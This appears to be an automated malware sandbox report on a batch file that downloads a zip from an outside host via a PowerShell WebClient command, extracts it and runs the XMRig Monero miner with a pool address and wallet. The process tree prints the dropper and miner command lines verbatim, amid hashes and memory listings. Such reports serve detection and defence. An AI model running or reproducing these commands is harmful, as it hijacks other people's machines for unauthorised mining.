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Analysis

  • max time kernel
    1796s
  • max time network
    1792s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231020-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231020-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21/10/2023, 10:06

General

  • Target

    tesy - Copy (13).bat

  • Size

    702B

  • MD5

    65f016a2abe40d2902c7032438a14bd7

  • SHA1

    b3537668ca1bb826e5085aee38b3f7ec654d606e

  • SHA256

    153b384b64bd371e0236c8497c9706db00cc102f068ea8fd4569d20b3b5a6fd8

  • SHA512

    b52486cdc585277de12287b4b2ab17c9e401bfeaee78555fd6d8760d7954b4e361f6e3ec32e4d694ba2cfa69d3d843d0f192539f0c893500b801c05a13b488f7

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (13).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4084
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip', 'test.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4408
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'test.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3220
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K start.cmd
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2696
      • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe
        xmrig.exe --coin=XMR -o xmr.2miners.com:2222 -u 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ.TRI -p x
        3⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:2908

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    a2b24af1492f112d2e53cb7415fda39f

    SHA1

    dbfcee57242a14b60997bd03379cc60198976d85

    SHA256

    fa05674c1db3386cf01ba1db5a3e9aeb97e15d1720d82988f573bf9743adc073

    SHA512

    9919077b8e5c7a955682e9a83f6d7ab34ac6a10a3d65af172734d753a48f7604a95739933b8680289c94b4e271b27c775d015b8d9678db277f498d8450b8aff0

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_u0044lcz.tav.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\test.zip

    Filesize

    3.2MB

    MD5

    3238c0d25d84b6f0bb645bbb29cdbf61

    SHA1

    11ae550c8a82c0793862c366b92072ad7e18befe

    SHA256

    b7a3d27640d4a7403c306a61996d604f28c44c2267eb9d60ed770ad40b3b5dfb

    SHA512

    d5c3e51f36b05ed6b66d501936fc771b712929fa9cdcb3e784d64e018ce4f081cead7a80c48504ced2f7b375bdcc94e147be1fc4e566af45ddaeb60389dee556

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\start.cmd

    Filesize

    170B

    MD5

    78657df2e34e338ff135d3dde69177bf

    SHA1

    d5048a4270b7ba599e941d26d61bfa2e8da31fce

    SHA256

    9004d356a2f71e3abd655983967aa597e81a8133069ee8bcef04f6ed0b36ae98

    SHA512

    f05cd30046793f60d8afd61b0a83f53d0c8e2889a03cbace1b199de181257771d257ab47f29effd1084c196eba9454ccdd97715e6f1062c079f4087685bd7004

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe

    Filesize

    7.9MB

    MD5

    4813fa6d610e180b097eae0ce636d2aa

    SHA1

    1e9cd17ea32af1337dd9a664431c809dd8a64d76

    SHA256

    9ef2e8714e85dcd116b709894b43babb4a0872225ae7363152013b7fd1bc95bc

    SHA512

    5463e61b9583dd7e73fc4c0f14252ce06bb1b24637fdf5c4b96b3452cf486b147c980e365ca6633d89e7cfe245131f528a7ecab2340251cef11cdeb49dac36aa

  • memory/2908-73-0x00007FF7C7920000-0x00007FF7C8423000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-76-0x00007FF7C7920000-0x00007FF7C8423000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-112-0x00007FF7C7920000-0x00007FF7C8423000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-111-0x00007FF7C7920000-0x00007FF7C8423000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-110-0x00007FF7C7920000-0x00007FF7C8423000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-109-0x00007FF7C7920000-0x00007FF7C8423000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-108-0x00007FF7C7920000-0x00007FF7C8423000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-107-0x00007FF7C7920000-0x00007FF7C8423000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-44-0x0000024923290000-0x00000249232B0000-memory.dmp

    Filesize

    128KB

  • memory/2908-45-0x00000249233E0000-0x0000024923420000-memory.dmp

    Filesize

    256KB

  • memory/2908-46-0x00007FF7C7920000-0x00007FF7C8423000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-47-0x0000024923420000-0x0000024923440000-memory.dmp

    Filesize

    128KB

  • memory/2908-48-0x0000024923440000-0x0000024923460000-memory.dmp

    Filesize

    128KB

  • memory/2908-49-0x00007FF7C7920000-0x00007FF7C8423000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-50-0x0000024923420000-0x0000024923440000-memory.dmp

    Filesize

    128KB

  • memory/2908-51-0x0000024923440000-0x0000024923460000-memory.dmp

    Filesize

    128KB

  • memory/2908-52-0x00007FF7C7920000-0x00007FF7C8423000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-53-0x00007FF7C7920000-0x00007FF7C8423000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-54-0x00007FF7C7920000-0x00007FF7C8423000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-55-0x00007FF7C7920000-0x00007FF7C8423000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-56-0x00007FF7C7920000-0x00007FF7C8423000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-57-0x00007FF7C7920000-0x00007FF7C8423000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-58-0x00007FF7C7920000-0x00007FF7C8423000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-59-0x00007FF7C7920000-0x00007FF7C8423000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-60-0x00007FF7C7920000-0x00007FF7C8423000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-61-0x00007FF7C7920000-0x00007FF7C8423000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-62-0x00007FF7C7920000-0x00007FF7C8423000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-63-0x00007FF7C7920000-0x00007FF7C8423000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-64-0x00007FF7C7920000-0x00007FF7C8423000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-65-0x00007FF7C7920000-0x00007FF7C8423000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-66-0x00007FF7C7920000-0x00007FF7C8423000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-67-0x00007FF7C7920000-0x00007FF7C8423000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-68-0x00007FF7C7920000-0x00007FF7C8423000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-69-0x00007FF7C7920000-0x00007FF7C8423000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-70-0x00007FF7C7920000-0x00007FF7C8423000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-71-0x00007FF7C7920000-0x00007FF7C8423000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-72-0x00007FF7C7920000-0x00007FF7C8423000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-106-0x00007FF7C7920000-0x00007FF7C8423000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-74-0x00007FF7C7920000-0x00007FF7C8423000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-75-0x00007FF7C7920000-0x00007FF7C8423000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-105-0x00007FF7C7920000-0x00007FF7C8423000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-77-0x00007FF7C7920000-0x00007FF7C8423000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-78-0x00007FF7C7920000-0x00007FF7C8423000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-79-0x00007FF7C7920000-0x00007FF7C8423000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-80-0x00007FF7C7920000-0x00007FF7C8423000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-81-0x00007FF7C7920000-0x00007FF7C8423000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-82-0x00007FF7C7920000-0x00007FF7C8423000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-83-0x00007FF7C7920000-0x00007FF7C8423000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-84-0x00007FF7C7920000-0x00007FF7C8423000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-85-0x00007FF7C7920000-0x00007FF7C8423000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-86-0x00007FF7C7920000-0x00007FF7C8423000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-87-0x00007FF7C7920000-0x00007FF7C8423000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-88-0x00007FF7C7920000-0x00007FF7C8423000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-89-0x00007FF7C7920000-0x00007FF7C8423000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-90-0x00007FF7C7920000-0x00007FF7C8423000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-91-0x00007FF7C7920000-0x00007FF7C8423000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-92-0x00007FF7C7920000-0x00007FF7C8423000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-93-0x00007FF7C7920000-0x00007FF7C8423000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-94-0x00007FF7C7920000-0x00007FF7C8423000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-95-0x00007FF7C7920000-0x00007FF7C8423000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-96-0x00007FF7C7920000-0x00007FF7C8423000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-97-0x00007FF7C7920000-0x00007FF7C8423000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-98-0x00007FF7C7920000-0x00007FF7C8423000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-99-0x00007FF7C7920000-0x00007FF7C8423000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-100-0x00007FF7C7920000-0x00007FF7C8423000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-101-0x00007FF7C7920000-0x00007FF7C8423000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-102-0x00007FF7C7920000-0x00007FF7C8423000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-103-0x00007FF7C7920000-0x00007FF7C8423000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-104-0x00007FF7C7920000-0x00007FF7C8423000-memory.dmp

    Filesize

    11.0MB

  • memory/3220-26-0x00007FF83A9E0000-0x00007FF83B4A1000-memory.dmp

    Filesize

    10.8MB

  • memory/3220-27-0x000001BD3EC00000-0x000001BD3EC10000-memory.dmp

    Filesize

    64KB

  • memory/3220-29-0x000001BD3EC00000-0x000001BD3EC10000-memory.dmp

    Filesize

    64KB

  • memory/3220-40-0x00007FF83A9E0000-0x00007FF83B4A1000-memory.dmp

    Filesize

    10.8MB

  • memory/3220-31-0x000001BD3ED30000-0x000001BD3ED3A000-memory.dmp

    Filesize

    40KB

  • memory/3220-28-0x000001BD3EC00000-0x000001BD3EC10000-memory.dmp

    Filesize

    64KB

  • memory/3220-30-0x000001BD3F1B0000-0x000001BD3F1C2000-memory.dmp

    Filesize

    72KB

  • memory/4408-0-0x000001ED7E4C0000-0x000001ED7E4E2000-memory.dmp

    Filesize

    136KB

  • memory/4408-10-0x00007FF83A9E0000-0x00007FF83B4A1000-memory.dmp

    Filesize

    10.8MB

  • memory/4408-11-0x000001ED7C7C0000-0x000001ED7C7D0000-memory.dmp

    Filesize

    64KB

  • memory/4408-12-0x000001ED7C7C0000-0x000001ED7C7D0000-memory.dmp

    Filesize

    64KB

  • memory/4408-15-0x00007FF83A9E0000-0x00007FF83B4A1000-memory.dmp

    Filesize

    10.8MB